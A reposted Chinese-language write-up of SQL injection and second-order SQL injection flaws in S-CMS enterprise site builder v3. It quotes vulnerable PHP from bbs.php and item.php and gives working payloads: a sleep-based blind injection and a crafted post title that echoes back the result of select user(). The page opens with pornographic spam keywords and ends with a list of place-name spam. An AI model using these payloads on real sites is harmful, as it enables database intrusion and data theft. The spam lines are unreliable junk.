最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

S-CMS企建v3二次SQL注入的方法

 更新時間:2019年02月26日 16:07:34   作者:AShe  
這篇文章主要介紹了S-CMS企建v3二次SQL注入的方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧

0x01 前言

繼上一篇的S-CMS漏洞再來一波!首發(fā)T00ls

0x2 目錄

Sql注入二次SQL注入

0x03 Sql注入

漏洞文件:\scms\bbs\bbs.php

$action=$_GET["action"];
$S_id=$_GET["S_id"];
if($action=="add"){
$B_title=htmlspecialchars($_POST["B_title"]);
$B_sort=$_POST["B_sort"];
$B_content=htmlspecialchars($_POST["B_content"]);
$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
if($S_sh==1){
$B_sh=0;
}else{
$B_sh=1;
}
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
$sql="Select * from SL_bbs order by B_id desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_id=$row["B_id"];
 }

相對來說這個注入比較簡單,$B_sort 無過濾直接從POST獲取,然而在SELECT查詢的時候使用了intval函數(shù)來過濾變量。不過后面在insert的時候卻沒有任何過濾(無單引號包含)導致sql注入。

漏洞驗證:

—Payload:

——http://127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=test&B_content=test11&B_sort=1 and sleep(5)

$debug調(diào)試信息:

Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)

0x04 二次注入

漏洞文件:

\scms\bbs\bbs.php

\scms\bbs\item.php

先看一下漏洞觸發(fā)點:

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
 $result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
 $S_title=lang($row["S_title"]);
 $B_view=$row["B_view"];
 $M_login=$row["M_login"];
 $M_pic=$row["M_pic"];
 $L_title=$row["L_title"];
 }
if(substr($M_pic,0,4)!="http"){
$M_pic="../media/".$M_pic;
}
$sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;

$result2 = mysqli_query($conn, $sql2);
$row2 = mysqli_fetch_assoc($result2);
$B_count=$row2["B_count"];
if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回復成功!","item.php?id=".$id,"success");
}

簡單說一下邏輯,第一步執(zhí)行的sql語句是查詢帖子的詳細內(nèi)容($id帖子id)

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;

然后把查詢到的內(nèi)容各自賦給一個變量

 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
..............................

到后面判斷$action=="reply",進入回復帖子功能處

if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回復成功!","item.php?id=".$id,"success");
}

可以看到$B_contentx=$_POST["B_content"]無過濾,這里會觸發(fā)儲存xss漏洞。然而這個不是重點,繼續(xù)看執(zhí)行的insert語句,發(fā)現(xiàn)$B_title等變量都拼接了進來,沒有sql過濾,而這些變量是從數(shù)據(jù)庫查詢出來的(帖子的標題等),然而回過頭去看上面的sql注入,不就是發(fā)帖功能的地方么。所以這些變量可控,導致二次sql注入。

漏洞觸發(fā)流程:

—首先我們?nèi)グl(fā)帖B_title的值是我們的payload,還有其他的值

——B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1

—然后我們?nèi)カ@取帖子id,這個沒有特別好的辦法只能去摸索著找,可以先根據(jù)樓層判斷一共有多少帖子,然后一點一點的往后找,根據(jù)內(nèi)容判斷是否是我們發(fā)布的帖子

——http://127.0.0.1//scms/bbs/item.php?id=帖子id

—獲取到帖子后去觸發(fā)漏洞

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id

——B_content=test

—這里我說一下payload為什么是這樣的,這樣構造完全是為了達到回顯注入,因為后面打印回復內(nèi)容的時候執(zhí)行的sql注入是

——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";

—而B_sub可控,這樣我們就能直接獲取回顯。

漏洞演示:

—Payload1

——127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1

—Payload2

——獲取帖子id

——http://127.0.0.1//scms/bbs/item.php?id=30

—Payload3

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30

——B_content=test

執(zhí)行完成!最后我們就可以去訪問我們的回復然后拿到回顯。http://127.0.0.1//scms/bbs/item.php?id=666這次id參數(shù)指向的是我們填的B_sub值

0x05 結(jié)束語

以上就是本文的全部內(nèi)容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。

相關文章

  • DownPlus 安全補丁 2008-12-12 附修改方法

    DownPlus 安全補丁 2008-12-12 附修改方法

    DownPlus 安全補丁 2008-12-12 修正內(nèi)容: 修正query.asp的跨站腳本漏洞.
    2008-12-12
  • phpcms數(shù)據(jù)表結(jié)構和字段詳細說明

    phpcms數(shù)據(jù)表結(jié)構和字段詳細說明

    PHPCMS?V9可以輕松承載百萬級的訪問數(shù)據(jù),最大的功臣就是PHPCMS良好的數(shù)據(jù)庫結(jié)構。學習一下PHPCMS的數(shù)據(jù)庫結(jié)構。數(shù)據(jù)表的默認表前綴是V9_?,表前綴的主要作用是數(shù)據(jù)庫中有不同系統(tǒng)的數(shù)據(jù)表存在時,可以用表前綴來區(qū)分出來。
    2023-04-04
  • 解決dotproject的兩個小bug的方法

    解決dotproject的兩個小bug的方法

    繼續(xù)深入使用dotproject,發(fā)現(xiàn)兩個小bug,國內(nèi)的論壇這些問題是找不到了,只有到dotproject官方論壇去找找,問題終獲解決。
    2008-11-11
  • 帝國cms所有的數(shù)據(jù)庫表結(jié)構和字段說明

    帝國cms所有的數(shù)據(jù)庫表結(jié)構和字段說明

    帝國CMS也是比較有名氣的,基本上沒有出現(xiàn)安全問題。但是帝國CMS后臺的邏輯和布局,感覺太復雜。如果我們需要會員或者下載等交互功能,這一點的擴展上帝國是有優(yōu)勢的。這篇文章主要介紹了帝國cms所有的數(shù)據(jù)庫表結(jié)構和字段說明,需要的朋友可以參考下。
    2023-04-04
  • 易優(yōu)eyoucms數(shù)據(jù)表結(jié)構和字段說明(數(shù)據(jù)字典)

    易優(yōu)eyoucms數(shù)據(jù)表結(jié)構和字段說明(數(shù)據(jù)字典)

    EyouCms是基于TP5.0框架為核心開發(fā)的免費開源的企業(yè)內(nèi)容管理系統(tǒng),易優(yōu)基本包含了一個常規(guī)企業(yè)網(wǎng)站需要的一切功能。這篇文章主要介紹了易優(yōu)eyoucms數(shù)據(jù)表結(jié)構和字段說明(數(shù)據(jù)字典),需要的朋友可以參考下
    2023-04-04
  • fastAdmin表單驗證validate的錯誤提示信息,如何改變位置?

    fastAdmin表單驗證validate的錯誤提示信息,如何改變位置?

    fastAdmin表單驗證validate的錯誤提示,默認是在右側(cè)的n-right,如果放在右側(cè)不太好看,想調(diào)整到其他位置,該怎么操作呢?
    2023-08-08
  • PHPWIND 5.3 運行代碼 功能實現(xiàn)代碼

    PHPWIND 5.3 運行代碼 功能實現(xiàn)代碼

    天架設了一個PHPWIND的論壇,想著要弄個運行代碼的功能出來,不過我只懂點ASP,又沒接觸過PHP,想著看看有沒前人樹,咱乘下涼就是了。查了下,發(fā)現(xiàn)只有老版本的插件可以實現(xiàn)這個功能。
    2009-06-06
  • 詳解S-CMS企業(yè)建站v3幾處SQL注入

    詳解S-CMS企業(yè)建站v3幾處SQL注入

    這篇文章主要介紹了詳解S-CMS企業(yè)建站v3幾處SQL注入,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2019-02-02
  • fastadmin使用學習中的常見問題匯總

    fastadmin使用學習中的常見問題匯總

    fastadmin是thinkPHP開發(fā)框架整合了很多插件和技術,后臺的前端頁面使用Bootstrap,還有RequireJs。總的來說,需要開發(fā)者前后端全棧技術程度較高,當然也要看使用學習時間長短,畢竟熟能生巧。這篇文章主要介紹了fastadmin使用學習中的常見問題匯總
    2022-12-12
  • S-CMS企建v3二次SQL注入的方法

    S-CMS企建v3二次SQL注入的方法

    這篇文章主要介紹了S-CMS企建v3二次SQL注入的方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2019-02-02

最新評論

剑河县| 平乐县| 姚安县| 麦盖提县| 且末县| 通榆县| 大理市| 湖州市| 清丰县| 广元市| 若尔盖县| 沅陵县| 木里| 杭锦旗| 枣强县| 扬中市| 安吉县| 政和县| 黑河市| 九江市| 襄垣县| 米泉市| 永仁县| 融水| 蒲城县| 建平县| 贡山| 青田县| 石嘴山市| 冷水江市| 澳门| 安远县| 天全县| 宜阳县| 柳江县| 广汉市| 郑州市| 张家口市| 水城县| 荔波县| 肇庆市|